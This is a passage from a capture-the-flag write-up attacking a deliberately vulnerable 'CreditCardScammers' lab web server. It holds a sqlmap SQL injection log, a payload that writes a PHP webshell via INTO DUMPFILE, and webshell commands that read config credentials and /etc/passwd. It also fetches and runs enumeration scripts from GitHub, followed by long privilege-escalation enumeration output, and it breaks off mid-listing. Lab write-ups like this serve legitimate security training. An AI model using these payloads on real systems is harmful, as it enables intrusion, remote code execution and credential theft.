[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 02:40:27 /2020-07-15/

[02:40:27] [INFO] parsing HTTP request from 'burp.txt'
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y
[02:40:31] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:

Parameter: #1* ((custom) POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
    Payload: command=(SELECT 5855 FROM (SELECT(SLEEP(5)))kMNx)&submit=Execute
---
[02:40:31] [INFO] testing MySQL
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[02:40:50] [INFO] confirming MySQL
[02:40:50] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
[02:41:01] [INFO] adjusting time delay to 2 seconds due to good response times
[02:41:01] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS
web application technology: Apache 2.4.37, PHP 7.2.11
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[02:41:01] [INFO] going to use a web backdoor for command prompt
[02:41:01] [INFO] fingerprinting the back-end DBMS operating system
[02:41:01] [INFO] the back-end DBMS operating system is Linux
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
> 4
do you want sqlmap to further try to provoke the full path disclosure? [Y/n] Y
got a 302 redirect to 'http://192.168.1.28:80/_admin/dist/login.html'. Do you want to follow? [Y/n] n
[02:41:20] [WARNING] unable to automatically retrieve the web server document root
what do you want to use for writable directory?
[1] common location(s) ('/var/www/, /var/www/html, /var/www/htdocs, /usr/local/apache2/htdocs, /usr/local/www/data, /var/apache2/htdocs, /var/www/nginx-default, /srv/www/htdocs') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search

> 1
[02:41:26] [WARNING] unable to automatically parse any web server path
[02:41:26] [INFO] trying to upload the file stager on '/var/www/' via LIMIT 'LINES TERMINATED BY' method
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n
[02:41:41] [WARNING] unable to upload the file stager on '/var/www/'
[02:41:41] [INFO] trying to upload the file stager on '/var/www/_admin/dist/' via LIMIT 'LINES TERMINATED BY' method
[02:41:41] [WARNING] unable to upload the file stager on '/var/www/_admin/dist/'
[02:41:41] [INFO] trying to upload the file stager on '/var/www/html/' via LIMIT 'LINES TERMINATED BY' method
[02:41:42] [WARNING] unable to upload the file stager on '/var/www/html/'
[02:41:42] [INFO] trying to upload the file stager on '/var/www/html/_admin/dist/' via LIMIT 'LINES TERMINATED BY' method
[02:41:42] [WARNING] unable to upload the file stager on '/var/www/html/_admin/dist/'
[02:41:42] [INFO] trying to upload the file stager on '/var/www/htdocs/' via LIMIT 'LINES TERMINATED BY' method
[02:41:42] [WARNING] unable to upload the file stager on '/var/www/htdocs/'
[02:41:42] [INFO] trying to upload the file stager on '/var/www/htdocs/_admin/dist/' via LIMIT 'LINES TERMINATED BY' method
[02:41:43] [WARNING] unable to upload the file stager on '/var/www/htdocs/_admin/dist/'
[02:41:43] [INFO] trying to upload the file stager on '/usr/local/apache2/htdocs/' via LIMIT 'LINES TERMINATED BY' method
[02:41:43] [WARNING] unable to upload the file stager on '/usr/local/apache2/htdocs/'
[02:41:43] [INFO] trying to upload the file stager on '/usr/local/apache2/htdocs/_admin/dist/' via LIMIT 'LINES TERMINATED BY' method
[02:41:43] [WARNING] unable to upload the file stager on '/usr/local/apache2/htdocs/_admin/dist/'
[02:41:43] [INFO] trying to upload the file stager on '/usr/local/www/data/' via LIMIT 'LINES TERMINATED BY' method
[02:41:44] [WARNING] unable to upload the file stager on '/usr/local/www/data/'
[02:41:44] [INFO] trying to upload the file stager on '/usr/local/www/data/_admin/dist/' via LIMIT 'LINES TERMINATED BY' method
[02:41:44] [WARNING] unable to upload the file stager on '/usr/local/www/data/_admin/dist/'
[02:41:44] [INFO] trying to upload the file stager on '/var/apache2/htdocs/' via LIMIT 'LINES TERMINATED BY' method
[02:41:44] [WARNING] unable to upload the file stager on '/var/apache2/htdocs/'
[02:41:44] [INFO] trying to upload the file stager on '/var/apache2/htdocs/_admin/dist/' via LIMIT 'LINES TERMINATED BY' method
[02:41:45] [WARNING] unable to upload the file stager on '/var/apache2/htdocs/_admin/dist/'
[02:41:45] [INFO] trying to upload the file stager on '/var/www/nginx-default/' via LIMIT 'LINES TERMINATED BY' method
[02:41:45] [WARNING] unable to upload the file stager on '/var/www/nginx-default/'
[02:41:45] [INFO] trying to upload the file stager on '/var/www/nginx-default/_admin/dist/' via LIMIT 'LINES TERMINATED BY' method

[02:41:45] [WARNING] unable to upload the file stager on '/var/www/nginx-default/_admin/dist/'
[02:41:45] [INFO] trying to upload the file stager on '/srv/www/htdocs/' via LIMIT 'LINES TERMINATED BY' method
[02:41:46] [WARNING] unable to upload the file stager on '/srv/www/htdocs/'
[02:41:46] [INFO] trying to upload the file stager on '/srv/www/htdocs/_admin/dist/' via LIMIT 'LINES TERMINATED BY' method
[02:41:46] [WARNING] unable to upload the file stager on '/srv/www/htdocs/_admin/dist/'
[02:41:46] [WARNING] HTTP error codes detected during run:
404 (Not Found) - 83 times
[02:41:46] [INFO] fetched data logged to text files under '/home/jeff/.sqlmap/output/192.168.1.28'

[*] ending @ 02:41:46 /2020-07-15/

> Since SQLmap did not worked I decided to perform some basic PHP Webshell upload tests. The first attempt worked.

=> I entered manually the payload: select "<?php system($_GET[cmd]);?>" INTO DUMPFILE '/var/www/html/webshell.php'

POST /_admin/dist/manage.php HTTP/1.1
Host: 192.168.1.28
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: fr-fr
Content-Type: application/x-www-form-urlencoded
Origin: http://192.168.1.28
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Safari/605.1.15
Connection: close
Upgrade-Insecure-Requests: 1
Referer: http://192.168.1.28/_admin/dist/manage.php
Content-Length: 139
Cookie: PHPSESSID=t9q0kkg91f0huk3j61hk53gpm2

command=select+%22%3C%3Fphp+system%28%24_GET%5Bcmd%5D%29%3B%3F%3E%22+INTO+DUMPFILE+%27%2Fvar%2Fwww%2Fhtml%2Fwebshell.php%27+&submit=Execute

=> RCE as the service account "apache"

jeff@kali:~/Documents/CTFs/CreditCardScammers$ curl http://192.168.1.28/webshell.php?cmd=id

uid=48(apache) gid=48(apache) groups=48(apache)

jeff@kali:~/Documents/CTFs/CreditCardScammers$ curl
http://192.168.1.28/webshell.php?cmd=uname -a
Linux

jeff@kali:~/Documents/CTFs/CreditCardScammers$ curl
http://192.168.1.28/webshell.php?cmd=ls
LICENSE
README.md
_admin
buynow.php
class
css
gulpfile.js
img
index.html
package-lock.json
package.json
settings
vendor
webshell.php

jeff@kali:~/Documents/CTFs/CreditCardScammers$ curl
http://192.168.1.28/webshell.php?cmd=ls%20/var/www/
cgi-bin
flag1.txt
html

jeff@kali:~/Documents/CTFs/CreditCardScammers$ curl
http://192.168.1.28/webshell.php?cmd=ls%20/var/cgi-bin/

jeff@kali:~/Documents/CTFs/CreditCardScammers$ curl
http://192.168.1.28/webshell.php?cmd=cat%20/var/www/flag1.txt
WPamTh2Y9uMdphb6z0cp

jeff@kali:~/Documents/CTFs/CreditCardScammers$ curl
http://192.168.1.28/webshell.php?cmd=ls%20/var/www/html/settings/
config.php

jeff@kali:~/Documents/CTFs/CreditCardScammers$ curl
http://192.168.1.28/webshell.php?cmd=cat%20settings/config.php

```
<?php

$databaseUsername = 'orders';
$databasePassword = 'Ob2UA15ubBtzpZrvdMYT';
$databaseServer = 'localhost';
$databaseName = 'orders';

?>

jeff@kali:~/Documents/CTFs/CreditCardScammers$ curl
http://192.168.1.28/webshell.php?cmd=cat%20/etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:65534:65534:Kernel Overflow User:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
systemd-coredump:x:999:997:systemd Core Dumper:/:/sbin/nologin
systemd-resolve:x:193:193:systemd Resolver:/:/sbin/nologin
tss:x:59:59:Account used by the trousers package to sandbox the tcsd
daemon:/dev/null:/sbin/nologin
polkitd:x:998:996:User for polkitd:/:/sbin/nologin
unbound:x:997:994:Unbound DNS resolver:/etc/unbound:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
gluster:x:996:993:GlusterFS daemons:/run/gluster:/sbin/nologin
libstoragemgmt:x:995:992:daemon account for libstoragemgmt:/var/run/lsm:/sbin/nologin
saslauth:x:994:76:Saslauthd user:/run/saslauthd:/sbin/nologin
dnsmasq:x:991:991:Dnsmasq DHCP and DNS server:/var/lib/dnsmasq:/sbin/nologin
radvd:x:75:75:radvd user:/:/sbin/nologin
setroubleshoot:x:990:990::/var/lib/setroubleshoot:/sbin/nologin
sssd:x:989:987:User for sssd:/:/sbin/nologin
qemu:x:107:107:qemu user:/:/sbin/nologin
cockpit-ws:x:988:986:User for cockpit-ws:/nonexisting:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
chrony:x:987:985::/var/lib/chrony:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
nginx:x:986:984:Nginx web server:/var/lib/nginx:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/sbin/nologin
```

moneygrabber:x:1000:1000::/home/moneygrabber:/bin/bash
admin:x:1001:1001::/home/admin:/bin/bash

I tried to log into the ssh server using the SQL password with the usernames "admin", "moneygrabber" and "root" but it did not worked.

==========
==========
Step 3. Post-exploitation - Linux enumeration (LinEnum, Linux exploit suggester, manual checks)
==========
==========

1. Linux exploit suggester
---

jeff@kali:~/Documents/CTFs/CreditCardScammers$ curl http://192.168.1.28/webshell.php?cmd=wget%20https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh%20-O%20les.sh

jeff@kali:~/Documents/CTFs/CreditCardScammers$ curl http://192.168.1.28/webshell.php?cmd=chmod%20765%20les.sh

jeff@kali:~/Documents/CTFs/CreditCardScammers$ curl http://192.168.1.28/webshell.php?cmd=./les.sh

Available information:

Kernel version: 4.18.0
Architecture: x86_64
Distribution: RHEL
Distribution version: 8
Additional checks (CONFIG_*, sysctl entries, custom Bash commands): performed
Package listing: from current OS

Searching among:

74 kernel space exploits
45 user space exploits

Possible Exploits:

[+] [CVE-2019-18634] sudo pwfeedback

  Details: https://dylankatz.com/Analysis-of-CVE-2019-18634/

Exposure: less probable
Tags: mint=19
Download URL:
https://github.com/saleemrashid/sudo-cve-2019-18634/raw/master/exploit.c
Comments: sudo configuration requires pwfeedback to be enabled.

[+] [CVE-2019-15666] XFRM_UAF

Details: https://duasynt.com/blog/ubuntu-centos-redhat-privesc
Exposure: less probable
Download URL:
Comments: CONFIG_USER_NS needs to be enabled; CONFIG_XFRM needs to be enabled

[+] [CVE-2019-13272] PTRACE_TRACEME

Details: https://bugs.chromium.org/p/project-zero/issues/detail?id=1903
Exposure: less probable
Tags:
ubuntu=16.04{kernel:4.15.0-*},ubuntu=18.04{kernel:4.15.0-*},debian=9{kernel:4.9.0-*},debian=10{kernel:4.19.0-*},fedora=30{kernel:5.0.9-*}
Download URL:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47133.zip
ext-url:
https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2019-13272/poc.c
Comments: Requires an active PolKit agent.

2. LinEnum
---

jeff@kali:~/Documents/CTFs/CreditCardScammers$ curl http://192.168.1.28/webshell.php?cmd=wget%20https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

jeff@kali:~/Documents/CTFs/CreditCardScammers$ curl http://192.168.1.28/webshell.php?cmd=chmod%20765%20LinEnum.sh

jeff@kali:~/Documents/CTFs/CreditCardScammers$ curl http://192.168.1.28/webshell.php?cmd=./LinEnum.sh%20-t%20-r%20report

```
#########################################################
# Local Linux Enumeration & Privilege Escalation Script #
#########################################################
# www.rebootuser.com
# version 0.982
```

[-] Debug Info

[+] Report name = report-15-07-20
[+] Thorough tests = Enabled

Scan started at:
Wed Jul 15 02:35:12 BST 2020

SYSTEM
[-] Kernel information:
Linux ppeshop 4.18.0-147.8.1.el8_1.x86_64 #1 SMP Thu Apr 9 13:49:54 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

[-] Kernel information (continued):
Linux version 4.18.0-147.8.1.el8_1.x86_64 (mockbuild@kbuilder.bsys.centos.org) (gcc version 8.3.1 20190507 (Red Hat 8.3.1-4) (GCC)) #1 SMP Thu Apr 9 13:49:54 UTC 2020

[-] Specific release information:
CentOS Linux release 8.1.1911 (Core)
NAME="CentOS Linux"
VERSION="8 (Core)"
ID="centos"
ID_LIKE="rhel fedora"
VERSION_ID="8"
PLATFORM_ID="platform:el8"
PRETTY_NAME="CentOS Linux 8 (Core)"
ANSI_COLOR="0;31"
CPE_NAME="cpe:/o:centos:centos:8"
HOME_URL="https://www.centos.org/"
BUG_REPORT_URL="https://bugs.centos.org/"

CENTOS_MANTISBT_PROJECT="CentOS-8"
CENTOS_MANTISBT_PROJECT_VERSION="8"
REDHAT_SUPPORT_PRODUCT="centos"
REDHAT_SUPPORT_PRODUCT_VERSION="8"

CentOS Linux release 8.1.1911 (Core)
CentOS Linux release 8.1.1911 (Core)

[-] Hostname:
ppeshop

USER/GROUP
[-] Current user/group info:
uid=48(apache) gid=48(apache) groups=48(apache)

[-] Users that have previously logged onto the system:
Username Port From Latest
root pts/0 192.168.56.111 Mon May 11 16:04:36 +0100 2020
apache pts/0 Sun May 10 11:20:48 +0100 2020
moneygrabber pts/0 Sun May 10 11:05:38 +0100 2020

[-] Who else is logged on:
02:35:12 up 2:28, 0 users, load average: 0.17, 0.14, 0.11
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT

[-] Group memberships:
uid=0(root) gid=0(root) groups=0(root)
uid=1(bin) gid=1(bin) groups=1(bin)
uid=2(daemon) gid=2(daemon) groups=2(daemon)
uid=3(adm) gid=4(adm) groups=4(adm)
uid=4(lp) gid=7(lp) groups=7(lp)
uid=5(sync) gid=0(root) groups=0(root)
uid=6(shutdown) gid=0(root) groups=0(root)
uid=7(halt) gid=0(root) groups=0(root)
uid=8(mail) gid=12(mail) groups=12(mail)
uid=11(operator) gid=0(root) groups=0(root)
uid=12(games) gid=100(users) groups=100(users)
uid=14(ftp) gid=50(ftp) groups=50(ftp)
uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)
uid=81(dbus) gid=81(dbus) groups=81(dbus)
uid=999(systemd-coredump) gid=997(systemd-coredump) groups=997(systemd-coredump)
uid=193(systemd-resolve) gid=193(systemd-resolve) groups=193(systemd-resolve)
uid=59(tss) gid=59(tss) groups=59(tss)
uid=998(polkitd) gid=996(polkitd) groups=996(polkitd)
uid=997(unbound) gid=994(unbound) groups=994(unbound)
uid=32(rpc) gid=32(rpc) groups=32(rpc)
uid=996(gluster) gid=993(gluster) groups=993(gluster)
uid=995(libstoragemgmt) gid=992(libstoragemgmt) groups=992(libstoragemgmt)
uid=994(saslauth) gid=76(saslauth) groups=76(saslauth)
uid=991(dnsmasq) gid=991(dnsmasq) groups=991(dnsmasq)
uid=75(radvd) gid=75(radvd) groups=75(radvd)
uid=990(setroubleshoot) gid=990(setroubleshoot) groups=990(setroubleshoot)
uid=989(sssd) gid=987(sssd) groups=987(sssd)
uid=107(qemu) gid=107(qemu) groups=107(qemu),36(kvm)
uid=988(cockpit-ws) gid=986(cockpit-ws) groups=986(cockpit-ws)
uid=29(rpcuser) gid=29(rpcuser) groups=29(rpcuser)
uid=74(sshd) gid=74(sshd) groups=74(sshd)
uid=987(chrony) gid=985(chrony) groups=985(chrony)
uid=72(tcpdump) gid=72(tcpdump) groups=72(tcpdump)
uid=48(apache) gid=48(apache) groups=48(apache)
uid=986(nginx) gid=984(nginx) groups=984(nginx)

uid=27(mysql) gid=27(mysql) groups=27(mysql)
uid=1000(moneygrabber) gid=1000(moneygrabber) groups=1000(moneygrabber)
uid=1001(admin) gid=1001(admin) groups=1001(admin)

[-] It looks like we have some admin users:
uid=3(adm) gid=4(adm) groups=4(adm)

[-] Contents of /etc/passwd:
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:65534:65534:Kernel Overflow User:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
systemd-coredump:x:999:997:systemd Core Dumper:/:/sbin/nologin
systemd-resolve:x:193:193:systemd Resolver:/:/sbin/nologin
tss:x:59:59:Account used by the trousers package to sandbox the tcsd
daemon:/dev/null:/sbin/nologin
polkitd:x:998:996:User for polkitd:/:/sbin/nologin
unbound:x:997:994:Unbound DNS resolver:/etc/unbound:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
gluster:x:996:993:GlusterFS daemons:/run/gluster:/sbin/nologin
libstoragemgmt:x:995:992:daemon account for libstoragemgmt:/var/run/lsm:/sbin/nologin
saslauth:x:994:76:Saslauthd user:/run/saslauthd:/sbin/nologin
dnsmasq:x:991:991:Dnsmasq DHCP and DNS server:/var/lib/dnsmasq:/sbin/nologin
radvd:x:75:75:radvd user:/:/sbin/nologin
setroubleshoot:x:990:990::/var/lib/setroubleshoot:/sbin/nologin
sssd:x:989:987:User for sssd:/:/sbin/nologin
qemu:x:107:107:qemu user:/:/sbin/nologin
cockpit-ws:x:988:986:User for cockpit-ws:/nonexisting:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
chrony:x:987:985::/var/lib/chrony:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
nginx:x:986:984:Nginx web server:/var/lib/nginx:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/sbin/nologin
moneygrabber:x:1000:1000::/home/moneygrabber:/bin/bash

admin:x:1001:1001::/home/admin:/bin/bash

[-] Super user account(s):
root

[-] Are permissions on /home directories lax:
total 0
drwxr-xr-x. 4 root   root   39 May 10 15:51 .
dr-xr-xr-x. 19 root   root   276 May 10 11:58 ..
drwx------   2 admin   admin   62 May 10 15:51 admin
drwx------. 2 moneygrabber moneygrabber 133 May 10 11:22 moneygrabber

[-] Files not owned by user but writable by group:
-rw-rw-rw- 1 mysql mysql 27 Jul 15 01:54 /var/www/html/webshell.php

[-] Files owned by our user:
-rw------- 1 apache apache 0 Jul 15 01:30
/var/lib/php/session/sess_e4hsb934lnvtt9tn7sqish7pbl
-rw------- 1 apache apache 0 Jul 15 01:31
/var/lib/php/session/sess_567ftoj7epvt0ijet6tpi8e9nf
-rw------- 1 apache apache 0 Jul 15 01:41
/var/lib/php/session/sess_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA
-rw------- 1 apache apache 0 Jul 15 01:41
/var/lib/php/session/sess_v7kmsq2aqvj5oj4nis4ouu8sho
-rw------- 1 apache apache 0 Jul 15 01:43
/var/lib/php/session/sess_u285nl320orekncq61jl8jveeb
-rw------- 1 apache apache 98 Jul 15 02:35
/var/lib/php/session/sess_t9q0kkg91f0huk3j61hk53gpm2
-rw-r--r--. 1 apache apache 65872017 Jul 15 02:35 /var/log/php-fpm/www-error.log
-rw-r--r--. 1 apache apache 208 May 10 10:25 /var/www/html/_admin/.browserslistrc
-rw-r--r--. 1 apache apache 13 May 10 10:25 /var/www/html/_admin/.gitignore
-rw-r--r--. 1 apache apache 158 May 10 10:25 /var/www/html/_admin/.travis.yml
-rw-r--r--. 1 apache apache 1093 May 10 10:25 /var/www/html/_admin/LICENSE
-rw-r--r--. 1 apache apache 156721 May 10 10:25
/var/www/html/_admin/dist/assets/Chart.min.js
-rw-r--r--. 1 apache apache 1172040 May 10 10:25
/var/www/html/_admin/dist/assets/all.min.js
-rw-r--r--. 1 apache apache 78635 May 10 10:25
/var/www/html/_admin/dist/assets/bootstrap.bundle.min.js
-rw-r--r--. 1 apache apache 5222 May 10 10:25
/var/www/html/_admin/dist/assets/dataTables.bootstrap4.min.css
-rw-r--r--. 1 apache apache 3159 May 10 10:25
/var/www/html/_admin/dist/assets/dataTables.bootstrap4.min.js
-rw-r--r--. 1 apache apache 6119 May 10 10:25
/var/www/html/_admin/dist/assets/img/error-404-monochrome.svg
-rw-r--r--. 1 apache apache 88145 May 10 10:25
/var/www/html/_admin/dist/assets/jquery-3.4.1.min.js

-rw-r--r--. 1 apache apache 84321 May 10 10:25
/var/www/html/_admin/dist/assets/jquery.dataTables.min.js
-rw-r--r--. 1 apache apache 186658 May 10 10:25 /var/www/html/_admin/dist/css/styles.css
-rw-r--r--. 1 apache apache 1548 May 10 10:25 /var/www/html/_admin/dist/index.php
-rw-r--r--. 1 apache apache 805 May 10 10:25 /var/www/html/_admin/dist/js/scripts.js
-rw-r--r--. 1 apache apache 3658 May 10 10:25 /var/www/html/_admin/dist/login.html
-rw-r--r--. 1 apache apache 70 May 10 10:25 /var/www/html/_admin/dist/logout.php
-rw-r--r--. 1 apache apache 848 May 10 10:25 /var/www/html/_admin/dist/manage.php
-rw-r--r--. 1 apache apache 1383 May 10 10:25
/var/www/html/_admin/dist/templates/footer.tpl
-rw-r--r--. 1 apache apache 1478 May 10 10:25
/var/www/html/_admin/dist/templates/header.tpl
-rw-r--r--. 1 apache apache 787 May 10 10:25 /var/www/html/_admin/dist/templates/index.tpl
-rwxr-xr-x. 1 apache apache 837 May 10 10:25
/var/www/html/_admin/dist/templates/manage.tpl
-rw-r--r--. 1 apache apache 1018 May 10 10:25 /var/www/html/_admin/dist/templates/nav.tpl
-rw-r--r-- 1 apache apache 2206 May 11 16:04
/var/www/html/_admin/dist/templates_c/86dfc70c4b74f908717aa705c9b65158600caee4_0.fi
le.index.tpl.php
-rw-r--r-- 1 apache apache 2213 May 11 16:04
/var/www/html/_admin/dist/templates_c/5a984562a91df56feb1b7ec3f5dd0059ed8801cd_0.fil
e.header.tpl.php
-rw-r--r-- 1 apache apache 1711 May 11 16:04
/var/www/html/_admin/dist/templates_c/15782bc189b3aa1b259fa49ed82cd1bf0d2b4b8d_0.f
ile.nav.tpl.php
-rw-r--r-- 1 apache apache 2406 May 11 16:04
/var/www/html/_admin/dist/templates_c/0662a60beba0fce807331e23438d31149b3e9834_0.
file.footer.tpl.php
-rw-r--r-- 1 apache apache 2009 Jul 15 00:57
/var/www/html/_admin/dist/templates_c/ddebbe6f0e973be988b757b1e53eabdea73e181d_0.
file.manage.tpl.php
-rw-r--r--. 1 apache apache 80 May 10 10:25 /var/www/html/_admin/scripts/build-assets.js
-rw-r--r--. 1 apache apache 432 May 10 10:25 /var/www/html/_admin/scripts/build-pug.js
-rw-r--r--. 1 apache apache 83 May 10 10:25 /var/www/html/_admin/scripts/build-scripts.js
-rw-r--r--. 1 apache apache 75 May 10 10:25 /var/www/html/_admin/scripts/build-scss.js
-rw-r--r--. 1 apache apache 162 May 10 10:25 /var/www/html/_admin/scripts/clean.js
-rw-r--r--. 1 apache apache 344 May 10 10:25 /var/www/html/_admin/scripts/render-assets.js
-rw-r--r--. 1 apache apache 884 May 10 10:25 /var/www/html/_admin/scripts/render-pug.js
-rw-r--r--. 1 apache apache 960 May 10 10:25 /var/www/html/_admin/scripts/render-scripts.js
-rw-r--r--. 1 apache apache 1493 May 10 10:25 /var/www/html/_admin/scripts/render-scss.js
-rw-r--r--. 1 apache apache 2096 May 10 10:25 /var/www/html/_admin/scripts/sb-watch.js
-rw-r--r--. 1 apache apache 509 May 10 10:25 /var/www/html/_admin/scripts/start-debug.js
-rw-r--r--. 1 apache apache 542 May 10 10:25 /var/www/html/_admin/scripts/start.js
-rw-r--r--. 1 apache apache 1530 May 10 10:25
/var/www/html/_admin/src/assets/demo/chart-area-demo.js
-rw-r--r--. 1 apache apache 1112 May 10 10:25
/var/www/html/_admin/src/assets/demo/chart-bar-demo.js

-rw-r--r--. 1 apache apache 597 May 10 10:25
/var/www/html/_admin/src/assets/demo/chart-pie-demo.js
-rw-r--r--. 1 apache apache 103 May 10 10:25
/var/www/html/_admin/src/assets/demo/datatables-demo.js
-rw-r--r--. 1 apache apache 6119 May 10 10:25
/var/www/html/_admin/src/assets/img/error-404-monochrome.svg
-rw-r--r--. 1 apache apache 553 May 10 10:25 /var/www/html/_admin/src/js/scripts.js
-rw-r--r--. 1 apache apache 576 May 10 10:25
/var/www/html/_admin/src/pug/layouts/authentication.pug
-rw-r--r--. 1 apache apache 659 May 10 10:25
/var/www/html/_admin/src/pug/layouts/dashboard.pug
-rw-r--r--. 1 apache apache 537 May 10 10:25
/var/www/html/_admin/src/pug/layouts/error.pug
-rw-r--r--. 1 apache apache 367 May 10 10:25
/var/www/html/_admin/src/pug/layouts/includes/footer.pug
-rw-r--r--. 1 apache apache 60 May 10 10:25
/var/www/html/_admin/src/pug/layouts/includes/head/css.pug
-rw-r--r--. 1 apache apache 112 May 10 10:25
/var/www/html/_admin/src/pug/layouts/includes/head/icons.pug
-rw-r--r--. 1 apache apache 263 May 10 10:25
/var/www/html/_admin/src/pug/layouts/includes/head/meta.pug
-rw-r--r--. 1 apache apache 30 May 10 10:25
/var/www/html/_admin/src/pug/layouts/includes/head/title.pug
-rw-r--r--. 1 apache apache 3448 May 10 10:25
/var/www/html/_admin/src/pug/layouts/includes/navigation/sidenav.pug
-rw-r--r--. 1 apache apache 1012 May 10 10:25
/var/www/html/_admin/src/pug/layouts/includes/navigation/topnav.pug
-rw-r--r--. 1 apache apache 344 May 10 10:25
/var/www/html/_admin/src/pug/layouts/includes/scripts.pug
-rw-r--r--. 1 apache apache 421 May 10 10:25 /var/www/html/_admin/src/pug/pages/401.pug
-rw-r--r--. 1 apache apache 445 May 10 10:25 /var/www/html/_admin/src/pug/pages/404.pug
-rw-r--r--. 1 apache apache 373 May 10 10:25 /var/www/html/_admin/src/pug/pages/500.pug
-rw-r--r--. 1 apache apache 1844 May 10 10:25
/var/www/html/_admin/src/pug/pages/charts.pug
-rw-r--r--. 1 apache apache 8316 May 10 10:25
/var/www/html/_admin/src/pug/pages/includes/datatable.pug
-rw-r--r--. 1 apache apache 245 May 10 10:25
/var/www/html/_admin/src/pug/pages/includes/page-header.pug
-rw-r--r--. 1 apache apache 3434 May 10 10:25
/var/www/html/_admin/src/pug/pages/index.pug
-rw-r--r--. 1 apache apache 599 May 10 10:25
/var/www/html/_admin/src/pug/pages/layout-sidenav-light.pug
-rw-r--r--. 1 apache apache 769 May 10 10:25
/var/www/html/_admin/src/pug/pages/layout-static.pug
-rw-r--r--. 1 apache apache 1547 May 10 10:25
/var/www/html/_admin/src/pug/pages/login.pug
-rw-r--r--. 1 apache apache 1166 May 10 10:25
/var/www/html/_admin/src/pug/pages/password.pug

-rw-r--r--. 1 apache apache 2235 May 10 10:25
/var/www/html/_admin/src/pug/pages/register.pug
-rw-r--r--. 1 apache apache 1139 May 10 10:25
/var/www/html/_admin/src/pug/pages/tables.pug
-rw-r--r--. 1 apache apache 223 May 10 10:25 /var/www/html/_admin/src/scss/_global.scss
-rw-r--r--. 1 apache apache 269 May 10 10:25
/var/www/html/_admin/src/scss/_variables.scss
-rw-r--r--. 1 apache apache 219 May 10 10:25
/var/www/html/_admin/src/scss/layout/_authentication.scss
-rw-r--r--. 1 apache apache 2018 May 10 10:25
/var/www/html/_admin/src/scss/layout/_dashboard-default.scss
-rw-r--r--. 1 apache apache 500 May 10 10:25
/var/www/html/_admin/src/scss/layout/_dashboard-fixed.scss
-rw-r--r--. 1 apache apache 230 May 10 10:25
/var/www/html/_admin/src/scss/layout/_error.scss
-rw-r--r--. 1 apache apache 136 May 10 10:25
/var/www/html/_admin/src/scss/navigation/_nav.scss
-rw-r--r--. 1 apache apache 474 May 10 10:25
/var/www/html/_admin/src/scss/navigation/_topnav.scss
-rw-r--r--. 1 apache apache 796 May 10 10:25
/var/www/html/_admin/src/scss/navigation/sidenav/_sidenav-dark.scss
-rw-r--r--. 1 apache apache 809 May 10 10:25
